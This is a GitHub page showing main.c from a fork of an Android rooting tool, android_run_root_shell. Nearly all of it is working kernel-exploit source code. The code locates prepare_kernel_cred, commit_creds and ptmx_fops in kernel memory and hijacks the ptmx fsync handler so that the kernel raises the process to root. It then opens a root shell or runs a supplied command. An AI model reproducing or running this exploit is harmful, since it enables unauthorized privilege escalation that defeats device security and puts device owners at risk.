forked from android-rooting-tools/android_run_root_shell
-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.c
212 lines (168 loc) · 4.66 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#define _LARGEFILE64_SOURCE
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/system_properties.h>
#include "device_database.h"
#include "cred.h"
#include "mm.h"
#include "ptmx.h"
#include "libexploit/exploit.h"
#include "libkallsyms/kallsyms_in_memory.h"
void
obtain_root_privilege(void)
{
commit_creds(prepare_kernel_cred(0));
}
static bool
run_obtain_root_privilege(void *user_data)
{
int fd;
int ret;
fd = open(PTMX_DEVICE, O_WRONLY);
ret = fsync(fd);
close(fd);
return (ret == 0);
}
static bool
run_exploit(void)
{
setup_ptmx_fops_fsync_address();
if (!ptmx_fops_fsync_address) {
return false;
}
return attempt_exploit(ptmx_fops_fsync_address,
(unsigned long int)&obtain_root_privilege, 0,
run_obtain_root_privilege, NULL);
}
void
device_detected(void)
{
char device[PROP_VALUE_MAX];
char build_id[PROP_VALUE_MAX];
__system_property_get("ro.product.model", device);
__system_property_get("ro.build.display.id", build_id);
printf("\n\nDevice detected: %s (%s)\n\n", device, build_id);
}
static bool
find_ptmx_fops_address(kallsyms *info, void *mem, size_t length)
{
find_ptmx_fops_hint_t hint;
hint.ptmx_open_address = kallsyms_in_memory_lookup_name(info, "ptmx_open");
if (!hint.ptmx_open_address) {
return false;
}
hint.tty_release_address = kallsyms_in_memory_lookup_name(info, "tty_release");
if (!hint.tty_release_address) {
return false;
}
hint.tty_fasync_address = kallsyms_in_memory_lookup_name(info, "tty_fasync");
if (!hint.tty_fasync_address) {
return false;
}
return setup_ptmx_fops_address_in_memory(mem, length, &hint);
}
bool find_variables_in_memory(void *mem, size_t length)
{
kallsyms *info;
printf("Search address in memroy...\n");
info = kallsyms_in_memory_init(mem, length);
if (info) {
printf("Using kallsyms_in_memroy...\n");
if (!prepare_kernel_cred) {
prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_in_memory_lookup_name(info, "prepare_kernel_cred");
}
if (!commit_creds) {
commit_creds = (commit_creds_t)kallsyms_in_memory_lookup_name(info, "commit_creds");
}
if (!ptmx_fops) {
ptmx_fops = (void *)kallsyms_in_memory_lookup_name(info, "ptmx_fops");
if (!ptmx_fops) {
find_ptmx_fops_address(info, mem, length);
}
}
kallsyms_in_memory_free(info);
if (prepare_kernel_cred && commit_creds && ptmx_fops) {
return true;
}
}
setup_prepare_kernel_cred_address_in_memory(mem, length);
setup_commit_creds_address_in_memory(mem, length);
return prepare_kernel_cred && commit_creds && ptmx_fops;
}
bool
setup_variables(void)
{
setup_prepare_kernel_cred_address();
setup_commit_creds_address();
setup_ptmx_fops_address();
if (prepare_kernel_cred && commit_creds && ptmx_fops) {
return true;
}
printf("Try to find address in memory...\n");
if (!run_with_mmap(find_variables_in_memory)) {
printf("\n");
run_with_memcpy(find_variables_in_memory);
}
if (prepare_kernel_cred && commit_creds && ptmx_fops) {
printf(" prepare_kernel_cred = %p\n", prepare_kernel_cred);
printf(" commit_creds = %p\n", commit_creds);
printf(" ptmx_fops = %p\n", ptmx_fops);
#ifdef HAS_SET_SYMBOL_ADDRESS
device_set_symbol_address(DEVICE_SYMBOL(prepare_kernel_cred), (unsigned long int)prepare_kernel_cred);
device_set_symbol_address(DEVICE_SYMBOL(commit_creds), (unsigned long int)commit_creds);
device_set_symbol_address(DEVICE_SYMBOL(ptmx_fops), (unsigned long int)ptmx_fops);
#endif /* HAS_SET_SYMBOL_ADDRESS */
return true;
}
if (!prepare_kernel_cred) {
printf("Failed to get prepare_kernel_cred address.\n");
}
if (!commit_creds) {
printf("Failed to get commit_creds address.\n");
}
if (!ptmx_fops) {
printf("Failed to get ptmx_fops address.\n");
}
print_reason_device_not_supported();
return false;
}
int
main(int argc, char **argv)
{
char* command = NULL;
int i;
for (i = 1; i < argc; i++) {
if (!strcmp(argv[i], "-c")) {
if (++i < argc) {
command = argv[i];
}
}
}
device_detected();
if (!setup_variables()) {
printf("Failed to setup variables.\n");
exit(EXIT_FAILURE);
}
run_exploit();
if (getuid() != 0) {
printf("Failed to obtain root privilege.\n");
exit(EXIT_FAILURE);
}
if (command == NULL) {
system("/system/bin/sh");
} else {
execl("/system/bin/sh", "/system/bin/sh", "-c", command, NULL);
}
exit(EXIT_SUCCESS);
}
/*
vi:ts=2:nowrap:ai:expandtab:sw=2
*/